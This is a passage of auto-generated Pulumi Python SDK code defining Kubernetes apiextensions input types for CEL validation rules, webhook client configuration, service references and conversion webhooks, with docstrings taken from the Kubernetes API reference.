pulumi.set(__self__, "port", port) @property @pulumi.getter def name(self) -> pulumi.Input[str]: """ name is the name of the service. Required """ return pulumi.get(self, "name") @name.setter def name(self, value: pulumi.Input[str]): pulumi.set(self, "name", value) @property @pulumi.getter def namespace(self) -> pulumi.Input[str]: """ namespace is the namespace of the service. Required """ return pulumi.get(self, "namespace") @namespace.setter def namespace(self, value: pulumi.Input[str]): pulumi.set(self, "namespace", value) @property @pulumi.getter def path(self) -> Optional[pulumi.Input[str]]: """ path is an optional URL path at which the webhook will be contacted. """ return pulumi.get(self, "path") @path.setter def path(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "path", value) @property @pulumi.getter def port(self) -> Optional[pulumi.Input[int]]: """ port is an optional service port at which the webhook will be contacted. `port` should be a valid port number (1-65535, inclusive). Defaults to 443 for backward compatibility. """ return pulumi.get(self, "port") @port.setter def port(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "port", value) @pulumi.input_type class ValidationRulePatchArgs: def __init__(__self__, *, field_path: Optional[pulumi.Input[str]] = None, message: Optional[pulumi.Input[str]] = None, message_expression: Optional[pulumi.Input[str]] = None, reason: Optional[pulumi.Input[str]] = None, rule: Optional[pulumi.Input[str]] = None): """ ValidationRule describes a validation rule written in the CEL expression language. :param pulumi.Input[str] field_path: fieldPath represents the field path returned when the validation fails. It must be a relative JSON path (i.e. with array notation) scoped to the location of this x-kubernetes-validations extension in the schema and refer to an existing field. e.g. when validation checks if a specific attribute `foo` under a map `testMap`, the fieldPath could be set to `.testMap.foo` If the validation checks two lists must have unique attributes, the fieldPath could be set to either of the list: e.g. `.testList` It does not support list numeric index. It supports child operation to refer to an existing field currently. Refer to [JSONPath support in Kubernetes](https://kubernetes.io/docs/reference/kubectl/jsonpath/) for more info. Numeric index of array is not supported. For field name which contains special characters, use `['specialName']` to refer the field name. e.g. for attribute `foo.34$` appears in a list `testList`, the fieldPath could be set to `.testList['foo.34$']` :param pulumi.Input[str] message: Message represents the message displayed when validation fails. The message is required if the Rule contains line breaks. The message must not contain line breaks. If unset, the message is "failed rule: {Rule}". e.g. "must be a URL with the host matching spec.host" :param pulumi.Input[str] message_expression: MessageExpression declares a CEL expression that evaluates to the validation failure message that is returned when this rule fails. Since messageExpression is used as a failure message, it must evaluate to a string. If both message and messageExpression are present on a rule, then messageExpression will be used if validation fails. If messageExpression results in a runtime error, the runtime error is logged, and the validation failure message is produced as if the messageExpression field were unset. If messageExpression evaluates to an empty string, a string with only spaces, or a string that contains line breaks, then the validation failure message will also be produced as if the messageExpression field were unset, and the fact that messageExpression produced an empty string/string with only spaces/string with line breaks will be logged. messageExpression has access to all the same variables as the rule; the only difference is the return type. Example: "x must be less than max ("+string(self.max)+")" :param pulumi.Input[str] reason: reason provides a machine-readable validation failure reason that is returned to the caller when a request fails this validation rule. The HTTP status code returned to the caller will match the reason of the reason of the first failed validation rule. The currently supported reasons are: "FieldValueInvalid", "FieldValueForbidden", "FieldValueRequired", "FieldValueDuplicate". If not set, default to use "FieldValueInvalid". All future added reasons must be accepted by clients when reading this value and unknown reasons should be treated as FieldValueInvalid. :param pulumi.Input[str] rule: Rule represents the expression which will be evaluated by CEL. ref: https://github.com/google/cel-spec The Rule is scoped to the location of the x-kubernetes-validations extension in the schema. The `self` variable in the CEL expression is bound to the scoped value. Example: - Rule scoped to the root of a resource with a status subresource: {"rule": "self.status.actual <= self.spec.maxDesired"} If the Rule is scoped to an object with properties, the accessible properties of the object are field selectable via `self.field` and field presence can be checked via `has(self.field)`. Null valued fields are treated as absent fields in CEL expressions. If the Rule is scoped to an object with additionalProperties (i.e. a map) the value of the map are accessible via `self[mapKey]`, map containment can be checked via `mapKey in self` and all entries of the map are accessible via CEL macros and functions such as `self.all(...)`. If the Rule is scoped to an array, the elements of the array are accessible via `self[i]` and also by macros and functions. If the Rule is scoped to a scalar, `self` is bound to the scalar value. Examples: - Rule scoped to a map of objects: {"rule": "self.components['Widget'].priority < 10"} - Rule scoped to a list of integers: {"rule": "self.values.all(value, value >= 0 && value < 100)"} - Rule scoped to a string value: {"rule": "self.startsWith('kube')"} The `apiVersion`, `kind`, `metadata.name` and `metadata.generateName` are always accessible from the root of the object and from any x-kubernetes-embedded-resource annotated objects. No other metadata properties are accessible. Unknown data preserved in custom resources via x-kubernetes-preserve-unknown-fields is not accessible in CEL expressions. This includes: - Unknown field values that are preserved by object schemas with x-kubernetes-preserve-unknown-fields. - Object properties where the property schema is of an "unknown type". An "unknown type" is recursively defined as: - A schema with no type and x-kubernetes-preserve-unknown-fields set to true - An array where the items schema is of an "unknown type" - An object where the additionalProperties schema is of an "unknown type" Only property names of the form `[a-zA-Z_.-/][a-zA-Z0-9_.-/]*` are accessible. Accessible property names are escaped according to the following rules when accessed in the expression: - '__' escapes to '__underscores__' - '.' escapes to '__dot__' - '-' escapes to '__dash__' - '/' escapes to '__slash__' - Property names that exactly match a CEL RESERVED keyword escape to '__{keyword}__'. The keywords are: "true", "false", "null", "in", "as", "break", "const", "continue", "else", "for", "function", "if", "import", "let", "loop", "package", "namespace", "return". Examples: - Rule accessing a property named "namespace": {"rule": "self.__namespace__ > 0"} - Rule accessing a property named "x-prop": {"rule": "self.x__dash__prop > 0"} - Rule accessing a property named "redact__d": {"rule": "self.redact__underscores__d > 0"} Equality on arrays with x-kubernetes-list-type of 'set' or 'map' ignores element order, i.e. [1, 2] == [2, 1]. Concatenation on arrays with x-kubernetes-list-type use the semantics of the list type: - 'set': `X + Y` performs a union where the array positions of all elements in `X` are preserved and non-intersecting elements in `Y` are appended, retaining their partial order. - 'map': `X + Y` performs a merge where the array positions of all keys in `X` are preserved but the values are overwritten by values in `Y` when the key sets of `X` and `Y` intersect. Elements in `Y` with non-intersecting keys are appended, retaining their partial order. """ if field_path is not None: pulumi.set(__self__, "field_path", field_path) if message is not None: pulumi.set(__self__, "message", message) if message_expression is not None: pulumi.set(__self__, "message_expression", message_expression) if reason is not None: pulumi.set(__self__, "reason", reason) if rule is not None: pulumi.set(__self__, "rule", rule) @property @pulumi.getter(name="fieldPath") def field_path(self) -> Optional[pulumi.Input[str]]: """ fieldPath represents the field path returned when the validation fails. It must be a relative JSON path (i.e. with array notation) scoped to the location of this x-kubernetes-validations extension in the schema and refer to an existing field. e.g. when validation checks if a specific attribute `foo` under a map `testMap`, the fieldPath could be set to `.testMap.foo` If the validation checks two lists must have unique attributes, the fieldPath could be set to either of the list: e.g. `.testList` It does not support list numeric index. It supports child operation to refer to an existing field currently. Refer to [JSONPath support in Kubernetes](https://kubernetes.io/docs/reference/kubectl/jsonpath/) for more info. Numeric index of array is not supported. For field name which contains special characters, use `['specialName']` to refer the field name. e.g. for attribute `foo.34$` appears in a list `testList`, the fieldPath could be set to `.testList['foo.34$']` """ return pulumi.get(self, "field_path") @field_path.setter def field_path(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "field_path", value) @property @pulumi.getter def message(self) -> Optional[pulumi.Input[str]]: """ Message represents the message displayed when validation fails. The message is required if the Rule contains line breaks. The message must not contain line breaks. If unset, the message is "failed rule: {Rule}". e.g. "must be a URL with the host matching spec.host" """ return pulumi.get(self, "message") @message.setter def message(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "message", value) @property @pulumi.getter(name="messageExpression") def message_expression(self) -> Optional[pulumi.Input[str]]: """ MessageExpression declares a CEL expression that evaluates to the validation failure message that is returned when this rule fails. Since messageExpression is used as a failure message, it must evaluate to a string. If both message and messageExpression are present on a rule, then messageExpression will be used if validation fails. If messageExpression results in a runtime error, the runtime error is logged, and the validation failure message is produced as if the messageExpression field were unset. If messageExpression evaluates to an empty string, a string with only spaces, or a string that contains line breaks, then the validation failure message will also be produced as if the messageExpression field were unset, and the fact that messageExpression produced an empty string/string with only spaces/string with line breaks will be logged. messageExpression has access to all the same variables as the rule; the only difference is the return type. Example: "x must be less than max ("+string(self.max)+")" """ return pulumi.get(self, "message_expression") @message_expression.setter def message_expression(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "message_expression", value) @property @pulumi.getter def reason(self) -> Optional[pulumi.Input[str]]: """ reason provides a machine-readable validation failure reason that is returned to the caller when a request fails this validation rule. The HTTP status code returned to the caller will match the reason of the reason of the first failed validation rule. The currently supported reasons are: "FieldValueInvalid", "FieldValueForbidden", "FieldValueRequired", "FieldValueDuplicate". If not set, default to use "FieldValueInvalid". All future added reasons must be accepted by clients when reading this value and unknown reasons should be treated as FieldValueInvalid. """ return pulumi.get(self, "reason") @reason.setter def reason(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "reason", value) @property @pulumi.getter def rule(self) -> Optional[pulumi.Input[str]]: """ Rule represents the expression which will be evaluated by CEL. ref: https://github.com/google/cel-spec The Rule is scoped to the location of the x-kubernetes-validations extension in the schema. The `self` variable in the CEL expression is bound to the scoped value. Example: - Rule scoped to the root of a resource with a status subresource: {"rule": "self.status.actual <= self.spec.maxDesired"} If the Rule is scoped to an object with properties, the accessible properties of the object are field selectable via `self.field` and field presence can be checked via `has(self.field)`. Null valued fields are treated as absent fields in CEL expressions. If the Rule is scoped to an object with additionalProperties (i.e. a map) the value of the map are accessible via `self[mapKey]`, map containment can be checked via `mapKey in self` and all entries of the map are accessible via CEL macros and functions such as `self.all(...)`. If the Rule is scoped to an array, the elements of the array are accessible via `self[i]` and also by macros and functions. If the Rule is scoped to a scalar, `self` is bound to the scalar value. Examples: - Rule scoped to a map of objects: {"rule": "self.components['Widget'].priority < 10"} - Rule scoped to a list of integers: {"rule": "self.values.all(value, value >= 0 && value < 100)"} - Rule scoped to a string value: {"rule": "self.startsWith('kube')"} The `apiVersion`, `kind`, `metadata.name` and `metadata.generateName` are always accessible from the root of the object and from any x-kubernetes-embedded-resource annotated objects. No other metadata properties are accessible. Unknown data preserved in custom resources via x-kubernetes-preserve-unknown-fields is not accessible in CEL expressions. This includes: - Unknown field values that are preserved by object schemas with x-kubernetes-preserve-unknown-fields. - Object properties where the property schema is of an "unknown type". An "unknown type" is recursively defined as: - A schema with no type and x-kubernetes-preserve-unknown-fields set to true - An array where the items schema is of an "unknown type" - An object where the additionalProperties schema is of an "unknown type" Only property names of the form `[a-zA-Z_.-/][a-zA-Z0-9_.-/]*` are accessible. Accessible property names are escaped according to the following rules when accessed in the expression: - '__' escapes to '__underscores__' - '.' escapes to '__dot__' - '-' escapes to '__dash__' - '/' escapes to '__slash__' - Property names that exactly match a CEL RESERVED keyword escape to '__{keyword}__'. The keywords are: "true", "false", "null", "in", "as", "break", "const", "continue", "else", "for", "function", "if", "import", "let", "loop", "package", "namespace", "return". Examples: - Rule accessing a property named "namespace": {"rule": "self.__namespace__ > 0"} - Rule accessing a property named "x-prop": {"rule": "self.x__dash__prop > 0"} - Rule accessing a property named "redact__d": {"rule": "self.redact__underscores__d > 0"} Equality on arrays with x-kubernetes-list-type of 'set' or 'map' ignores element order, i.e. [1, 2] == [2, 1]. Concatenation on arrays with x-kubernetes-list-type use the semantics of the list type: - 'set': `X + Y` performs a union where the array positions of all elements in `X` are preserved and non-intersecting elements in `Y` are appended, retaining their partial order. - 'map': `X + Y` performs a merge where the array positions of all keys in `X` are preserved but the values are overwritten by values in `Y` when the key sets of `X` and `Y` intersect. Elements in `Y` with non-intersecting keys are appended, retaining their partial order. """ return pulumi.get(self, "rule") @rule.setter def rule(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "rule", value) @pulumi.input_type class ValidationRuleArgs: def __init__(__self__, *, rule: pulumi.Input[str], field_path: Optional[pulumi.Input[str]] = None, message: Optional[pulumi.Input[str]] = None, message_expression: Optional[pulumi.Input[str]] = None, reason: Optional[pulumi.Input[str]] = None): """ ValidationRule describes a validation rule written in the CEL expression language. :param pulumi.Input[str] rule: Rule represents the expression which will be evaluated by CEL. ref: https://github.com/google/cel-spec The Rule is scoped to the location of the x-kubernetes-validations extension in the schema. The `self` variable in the CEL expression is bound to the scoped value. Example: - Rule scoped to the root of a resource with a status subresource: {"rule": "self.status.actual <= self.spec.maxDesired"} If the Rule is scoped to an object with properties, the accessible properties of the object are field selectable via `self.field` and field presence can be checked via `has(self.field)`. Null valued fields are treated as absent fields in CEL expressions. If the Rule is scoped to an object with additionalProperties (i.e. a map) the value of the map are accessible via `self[mapKey]`, map containment can be checked via `mapKey in self` and all entries of the map are accessible via CEL macros and functions such as `self.all(...)`. If the Rule is scoped to an array, the elements of the array are accessible via `self[i]` and also by macros and functions. If the Rule is scoped to a scalar, `self` is bound to the scalar value. Examples: - Rule scoped to a map of objects: {"rule": "self.components['Widget'].priority < 10"} - Rule scoped to a list of integers: {"rule": "self.values.all(value, value >= 0 && value < 100)"} - Rule scoped to a string value: {"rule": "self.startsWith('kube')"} The `apiVersion`, `kind`, `metadata.name` and `metadata.generateName` are always accessible from the root of the object and from any x-kubernetes-embedded-resource annotated objects. No other metadata properties are accessible. Unknown data preserved in custom resources via x-kubernetes-preserve-unknown-fields is not accessible in CEL expressions. This includes: - Unknown field values that are preserved by object schemas with x-kubernetes-preserve-unknown-fields. - Object properties where the property schema is of an "unknown type". An "unknown type" is recursively defined as: - A schema with no type and x-kubernetes-preserve-unknown-fields set to true - An array where the items schema is of an "unknown type" - An object where the additionalProperties schema is of an "unknown type" Only property names of the form `[a-zA-Z_.-/][a-zA-Z0-9_.-/]*` are accessible. Accessible property names are escaped according to the following rules when accessed in the expression: - '__' escapes to '__underscores__' - '.' escapes to '__dot__' - '-' escapes to '__dash__' - '/' escapes to '__slash__' - Property names that exactly match a CEL RESERVED keyword escape to '__{keyword}__'. The keywords are: "true", "false", "null", "in", "as", "break", "const", "continue", "else", "for", "function", "if", "import", "let", "loop", "package", "namespace", "return". Examples: - Rule accessing a property named "namespace": {"rule": "self.__namespace__ > 0"} - Rule accessing a property named "x-prop": {"rule": "self.x__dash__prop > 0"} - Rule accessing a property named "redact__d": {"rule": "self.redact__underscores__d > 0"} Equality on arrays with x-kubernetes-list-type of 'set' or 'map' ignores element order, i.e. [1, 2] == [2, 1]. Concatenation on arrays with x-kubernetes-list-type use the semantics of the list type: - 'set': `X + Y` performs a union where the array positions of all elements in `X` are preserved and non-intersecting elements in `Y` are appended, retaining their partial order. - 'map': `X + Y` performs a merge where the array positions of all keys in `X` are preserved but the values are overwritten by values in `Y` when the key sets of `X` and `Y` intersect. Elements in `Y` with non-intersecting keys are appended, retaining their partial order. :param pulumi.Input[str] field_path: fieldPath represents the field path returned when the validation fails. It must be a relative JSON path (i.e. with array notation) scoped to the location of this x-kubernetes-validations extension in the schema and refer to an existing field. e.g. when validation checks if a specific attribute `foo` under a map `testMap`, the fieldPath could be set to `.testMap.foo` If the validation checks two lists must have unique attributes, the fieldPath could be set to either of the list: e.g. `.testList` It does not support list numeric index. It supports child operation to refer to an existing field currently. Refer to [JSONPath support in Kubernetes](https://kubernetes.io/docs/reference/kubectl/jsonpath/) for more info. Numeric index of array is not supported. For field name which contains special characters, use `['specialName']` to refer the field name. e.g. for attribute `foo.34$` appears in a list `testList`, the fieldPath could be set to `.testList['foo.34$']` :param pulumi.Input[str] message: Message represents the message displayed when validation fails. The message is required if the Rule contains line breaks. The message must not contain line breaks. If unset, the message is "failed rule: {Rule}". e.g. "must be a URL with the host matching spec.host" :param pulumi.Input[str] message_expression: MessageExpression declares a CEL expression that evaluates to the validation failure message that is returned when this rule fails. Since messageExpression is used as a failure message, it must evaluate to a string. If both message and messageExpression are present on a rule, then messageExpression will be used if validation fails. If messageExpression results in a runtime error, the runtime error is logged, and the validation failure message is produced as if the messageExpression field were unset. If messageExpression evaluates to an empty string, a string with only spaces, or a string that contains line breaks, then the validation failure message will also be produced as if the messageExpression field were unset, and the fact that messageExpression produced an empty string/string with only spaces/string with line breaks will be logged. messageExpression has access to all the same variables as the rule; the only difference is the return type. Example: "x must be less than max ("+string(self.max)+")" :param pulumi.Input[str] reason: reason provides a machine-readable validation failure reason that is returned to the caller when a request fails this validation rule. The HTTP status code returned to the caller will match the reason of the reason of the first failed validation rule. The currently supported reasons are: "FieldValueInvalid", "FieldValueForbidden", "FieldValueRequired", "FieldValueDuplicate". If not set, default to use "FieldValueInvalid". All future added reasons must be accepted by clients when reading this value and unknown reasons should be treated as FieldValueInvalid. """ pulumi.set(__self__, "rule", rule) if field_path is not None: pulumi.set(__self__, "field_path", field_path) if message is not None: pulumi.set(__self__, "message", message) if message_expression is not None: pulumi.set(__self__, "message_expression", message_expression) if reason is not None: pulumi.set(__self__, "reason", reason) @property @pulumi.getter def rule(self) -> pulumi.Input[str]: """ Rule represents the expression which will be evaluated by CEL. ref: https://github.com/google/cel-spec The Rule is scoped to the location of the x-kubernetes-validations extension in the schema. The `self` variable in the CEL expression is bound to the scoped value. Example: - Rule scoped to the root of a resource with a status subresource: {"rule": "self.status.actual <= self.spec.maxDesired"} If the Rule is scoped to an object with properties, the accessible properties of the object are field selectable via `self.field` and field presence can be checked via `has(self.field)`. Null valued fields are treated as absent fields in CEL expressions. If the Rule is scoped to an object with additionalProperties (i.e. a map) the value of the map are accessible via `self[mapKey]`, map containment can be checked via `mapKey in self` and all entries of the map are accessible via CEL macros and functions such as `self.all(...)`. If the Rule is scoped to an array, the elements of the array are accessible via `self[i]` and also by macros and functions. If the Rule is scoped to a scalar, `self` is bound to the scalar value. Examples: - Rule scoped to a map of objects: {"rule": "self.components['Widget'].priority < 10"} - Rule scoped to a list of integers: {"rule": "self.values.all(value, value >= 0 && value < 100)"} - Rule scoped to a string value: {"rule": "self.startsWith('kube')"} The `apiVersion`, `kind`, `metadata.name` and `metadata.generateName` are always accessible from the root of the object and from any x-kubernetes-embedded-resource annotated objects. No other metadata properties are accessible. Unknown data preserved in custom resources via x-kubernetes-preserve-unknown-fields is not accessible in CEL expressions. This includes: - Unknown field values that are preserved by object schemas with x-kubernetes-preserve-unknown-fields. - Object properties where the property schema is of an "unknown type". An "unknown type" is recursively defined as: - A schema with no type and x-kubernetes-preserve-unknown-fields set to true - An array where the items schema is of an "unknown type" - An object where the additionalProperties schema is of an "unknown type" Only property names of the form `[a-zA-Z_.-/][a-zA-Z0-9_.-/]*` are accessible. Accessible property names are escaped according to the following rules when accessed in the expression: - '__' escapes to '__underscores__' - '.' escapes to '__dot__' - '-' escapes to '__dash__' - '/' escapes to '__slash__' - Property names that exactly match a CEL RESERVED keyword escape to '__{keyword}__'. The keywords are: "true", "false", "null", "in", "as", "break", "const", "continue", "else", "for", "function", "if", "import", "let", "loop", "package", "namespace", "return". Examples: - Rule accessing a property named "namespace": {"rule": "self.__namespace__ > 0"} - Rule accessing a property named "x-prop": {"rule": "self.x__dash__prop > 0"} - Rule accessing a property named "redact__d": {"rule": "self.redact__underscores__d > 0"} Equality on arrays with x-kubernetes-list-type of 'set' or 'map' ignores element order, i.e. [1, 2] == [2, 1]. Concatenation on arrays with x-kubernetes-list-type use the semantics of the list type: - 'set': `X + Y` performs a union where the array positions of all elements in `X` are preserved and non-intersecting elements in `Y` are appended, retaining their partial order. - 'map': `X + Y` performs a merge where the array positions of all keys in `X` are preserved but the values are overwritten by values in `Y` when the key sets of `X` and `Y` intersect. Elements in `Y` with non-intersecting keys are appended, retaining their partial order. """ return pulumi.get(self, "rule") @rule.setter def rule(self, value: pulumi.Input[str]): pulumi.set(self, "rule", value) @property @pulumi.getter(name="fieldPath") def field_path(self) -> Optional[pulumi.Input[str]]: """ fieldPath represents the field path returned when the validation fails. It must be a relative JSON path (i.e. with array notation) scoped to the location of this x-kubernetes-validations extension in the schema and refer to an existing field. e.g. when validation checks if a specific attribute `foo` under a map `testMap`, the fieldPath could be set to `.testMap.foo` If the validation checks two lists must have unique attributes, the fieldPath could be set to either of the list: e.g. `.testList` It does not support list numeric index. It supports child operation to refer to an existing field currently. Refer to [JSONPath support in Kubernetes](https://kubernetes.io/docs/reference/kubectl/jsonpath/) for more info. Numeric index of array is not supported. For field name which contains special characters, use `['specialName']` to refer the field name. e.g. for attribute `foo.34$` appears in a list `testList`, the fieldPath could be set to `.testList['foo.34$']` """ return pulumi.get(self, "field_path") @field_path.setter def field_path(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "field_path", value) @property @pulumi.getter def message(self) -> Optional[pulumi.Input[str]]: """ Message represents the message displayed when validation fails. The message is required if the Rule contains line breaks. The message must not contain line breaks. If unset, the message is "failed rule: {Rule}". e.g. "must be a URL with the host matching spec.host" """ return pulumi.get(self, "message") @message.setter def message(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "message", value) @property @pulumi.getter(name="messageExpression") def message_expression(self) -> Optional[pulumi.Input[str]]: """ MessageExpression declares a CEL expression that evaluates to the validation failure message that is returned when this rule fails. Since messageExpression is used as a failure message, it must evaluate to a string. If both message and messageExpression are present on a rule, then messageExpression will be used if validation fails. If messageExpression results in a runtime error, the runtime error is logged, and the validation failure message is produced as if the messageExpression field were unset. If messageExpression evaluates to an empty string, a string with only spaces, or a string that contains line breaks, then the validation failure message will also be produced as if the messageExpression field were unset, and the fact that messageExpression produced an empty string/string with only spaces/string with line breaks will be logged. messageExpression has access to all the same variables as the rule; the only difference is the return type. Example: "x must be less than max ("+string(self.max)+")" """ return pulumi.get(self, "message_expression") @message_expression.setter def message_expression(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "message_expression", value) @property @pulumi.getter def reason(self) -> Optional[pulumi.Input[str]]: """ reason provides a machine-readable validation failure reason that is returned to the caller when a request fails this validation rule. The HTTP status code returned to the caller will match the reason of the reason of the first failed validation rule. The currently supported reasons are: "FieldValueInvalid", "FieldValueForbidden", "FieldValueRequired", "FieldValueDuplicate". If not set, default to use "FieldValueInvalid". All future added reasons must be accepted by clients when reading this value and unknown reasons should be treated as FieldValueInvalid. """ return pulumi.get(self, "reason") @reason.setter def reason(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "reason", value) @pulumi.input_type class WebhookClientConfigPatchArgs: def __init__(__self__, *, ca_bundle: Optional[pulumi.Input[str]] = None, service: Optional[pulumi.Input['ServiceReferencePatchArgs']] = None, url: Optional[pulumi.Input[str]] = None): """ WebhookClientConfig contains the information to make a TLS connection with the webhook. :param pulumi.Input[str] ca_bundle: caBundle is a PEM encoded CA bundle which will be used to validate the webhook's server certificate. If unspecified, system trust roots on the apiserver are used. :param pulumi.Input['ServiceReferencePatchArgs'] service: service is a reference to the service for this webhook. Either service or url must be specified. If the webhook is running within the cluster, then you should use `service`. :param pulumi.Input[str] url: url gives the location of the webhook, in standard URL form (`scheme://host:port/path`). Exactly one of `url` or `service` must be specified. The `host` should not refer to a service running in the cluster; use the `service` field instead. The host might be resolved via external DNS in some apiservers (e.g., `kube-apiserver` cannot resolve in-cluster DNS as that would be a layering violation). `host` may also be an IP address. Please note that using `localhost` or `127.0.0.1` as a `host` is risky unless you take great care to run this webhook on all hosts which run an apiserver which might need to make calls to this webhook. Such installs are likely to be non-portable, i.e., not easy to turn up in a new cluster. The scheme must be "https"; the URL must begin with "https://". A path is optional, and if present may be any string permissible in a URL. You may use the path to pass an arbitrary string to the webhook, for example, a cluster identifier. Attempting to use a user or basic auth e.g. "user:password@" is not allowed. Fragments ("#...") and query parameters ("?...") are not allowed, either. """ if ca_bundle is not None: pulumi.set(__self__, "ca_bundle", ca_bundle) if service is not None: pulumi.set(__self__, "service", service) if url is not None: pulumi.set(__self__, "url", url) @property @pulumi.getter(name="caBundle") def ca_bundle(self) -> Optional[pulumi.Input[str]]: """ caBundle is a PEM encoded CA bundle which will be used to validate the webhook's server certificate. If unspecified, system trust roots on the apiserver are used. """ return pulumi.get(self, "ca_bundle") @ca_bundle.setter def ca_bundle(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "ca_bundle", value) @property @pulumi.getter def service(self) -> Optional[pulumi.Input['ServiceReferencePatchArgs']]: """ service is a reference to the service for this webhook. Either service or url must be specified. If the webhook is running within the cluster, then you should use `service`. """ return pulumi.get(self, "service") @service.setter def service(self, value: Optional[pulumi.Input['ServiceReferencePatchArgs']]): pulumi.set(self, "service", value) @property @pulumi.getter def url(self) -> Optional[pulumi.Input[str]]: """ url gives the location of the webhook, in standard URL form (`scheme://host:port/path`). Exactly one of `url` or `service` must be specified. The `host` should not refer to a service running in the cluster; use the `service` field instead. The host might be resolved via external DNS in some apiservers (e.g., `kube-apiserver` cannot resolve in-cluster DNS as that would be a layering violation). `host` may also be an IP address. Please note that using `localhost` or `127.0.0.1` as a `host` is risky unless you take great care to run this webhook on all hosts which run an apiserver which might need to make calls to this webhook. Such installs are likely to be non-portable, i.e., not easy to turn up in a new cluster. The scheme must be "https"; the URL must begin with "https://". A path is optional, and if present may be any string permissible in a URL. You may use the path to pass an arbitrary string to the webhook, for example, a cluster identifier. Attempting to use a user or basic auth e.g. "user:password@" is not allowed. Fragments ("#...") and query parameters ("?...") are not allowed, either. """ return pulumi.get(self, "url") @url.setter def url(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "url", value) @pulumi.input_type class WebhookClientConfigArgs: def __init__(__self__, *, ca_bundle: Optional[pulumi.Input[str]] = None, service: Optional[pulumi.Input['ServiceReferenceArgs']] = None, url: Optional[pulumi.Input[str]] = None): """ WebhookClientConfig contains the information to make a TLS connection with the webhook. :param pulumi.Input[str] ca_bundle: caBundle is a PEM encoded CA bundle which will be used to validate the webhook's server certificate. If unspecified, system trust roots on the apiserver are used. :param pulumi.Input['ServiceReferenceArgs'] service: service is a reference to the service for this webhook. Either service or url must be specified. If the webhook is running within the cluster, then you should use `service`. :param pulumi.Input[str] url: url gives the location of the webhook, in standard URL form (`scheme://host:port/path`). Exactly one of `url` or `service` must be specified. The `host` should not refer to a service running in the cluster; use the `service` field instead. The host might be resolved via external DNS in some apiservers (e.g., `kube-apiserver` cannot resolve in-cluster DNS as that would be a layering violation). `host` may also be an IP address. Please note that using `localhost` or `127.0.0.1` as a `host` is risky unless you take great care to run this webhook on all hosts which run an apiserver which might need to make calls to this webhook. Such installs are likely to be non-portable, i.e., not easy to turn up in a new cluster. The scheme must be "https"; the URL must begin with "https://". A path is optional, and if present may be any string permissible in a URL. You may use the path to pass an arbitrary string to the webhook, for example, a cluster identifier. Attempting to use a user or basic auth e.g. "user:password@" is not allowed. Fragments ("#...") and query parameters ("?...") are not allowed, either. """ if ca_bundle is not None: pulumi.set(__self__, "ca_bundle", ca_bundle) if service is not None: pulumi.set(__self__, "service", service) if url is not None: pulumi.set(__self__, "url", url) @property @pulumi.getter(name="caBundle") def ca_bundle(self) -> Optional[pulumi.Input[str]]: """ caBundle is a PEM encoded CA bundle which will be used to validate the webhook's server certificate. If unspecified, system trust roots on the apiserver are used. """ return pulumi.get(self, "ca_bundle") @ca_bundle.setter def ca_bundle(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "ca_bundle", value) @property @pulumi.getter def service(self) -> Optional[pulumi.Input['ServiceReferenceArgs']]: """ service is a reference to the service for this webhook. Either service or url must be specified. If the webhook is running within the cluster, then you should use `service`. """ return pulumi.get(self, "service") @service.setter def service(self, value: Optional[pulumi.Input['ServiceReferenceArgs']]): pulumi.set(self, "service", value) @property @pulumi.getter def url(self) -> Optional[pulumi.Input[str]]: """ url gives the location of the webhook, in standard URL form (`scheme://host:port/path`). Exactly one of `url` or `service` must be specified. The `host` should not refer to a service running in the cluster; use the `service` field instead. The host might be resolved via external DNS in some apiservers (e.g., `kube-apiserver` cannot resolve in-cluster DNS as that would be a layering violation). `host` may also be an IP address. Please note that using `localhost` or `127.0.0.1` as a `host` is risky unless you take great care to run this webhook on all hosts which run an apiserver which might need to make calls to this webhook. Such installs are likely to be non-portable, i.e., not easy to turn up in a new cluster. The scheme must be "https"; the URL must begin with "https://". A path is optional, and if present may be any string permissible in a URL. You may use the path to pass an arbitrary string to the webhook, for example, a cluster identifier. Attempting to use a user or basic auth e.g. "user:password@" is not allowed. Fragments ("#...") and query parameters ("?...") are not allowed, either. """ return pulumi.get(self, "url") @url.setter def url(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "url", value) @pulumi.input_type class WebhookConversionPatchArgs: def __init__(__self__, *, client_config: Optional[pulumi.Input['WebhookClientConfigPatchArgs']] = None, conversion_review_versions: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None): """ WebhookConversion describes how to call a conversion webhook :param pulumi.Input['WebhookClientConfigPatchArgs'] client_config: clientConfig is the instructions for how to call the webhook if strategy is `Webhook`. :param pulumi.Input[Sequence[pulumi.Input[str]]] conversion_review_versions: conversionReviewVersions is an ordered list of preferred `ConversionReview` versions the Webhook expects. The API server will use the first version in the list which it supports. If none of the versions specified in this list are supported by API server, conversion will fail for the custom resource. If a persisted Webhook configuration specifies allowed versions and does not include any versions known to the API Server, calls to the webhook will fail. """ if client_config is not None: pulumi.set(__self__, "client_config", client_config) if conversion_review_versions is not None: pulumi.set(__self__, "conversion_review_versions", conversion_review_versions) @property @pulumi.getter(name="clientConfig") def client_config(self) -> Optional[pulumi.Input['WebhookClientConfigPatchArgs']]: """ clientConfig is the instructions for how to call the webhook if strategy is `Webhook`. """ return pulumi.get(self, "client_config") @client_config.setter def client_config(self, value: Optional[pulumi.Input['WebhookClientConfigPatchArgs']]): pulumi.set(self, "client_config", value) @property @pulumi.getter(name="conversionReviewVersions") def conversion_review_versions(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]: """ conversionReviewVersions is an ordered list of preferred `ConversionReview` versions the Webhook expects. The API server will use the first version in the list which it supports. If none of the versions specified in this list are supported by API server, conversion will fail for the custom resource. If a persisted Webhook configuration specifies allowed versions and does not include any versions known to the API Server, calls to the webhook will fail. """ return pulumi.get(self, "conversion_review_versions") @conversion_review_versions.setter def conversion_review_versions(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]): pulumi.set(self, "conversion_review_versions", value) @pulumi.input_type class 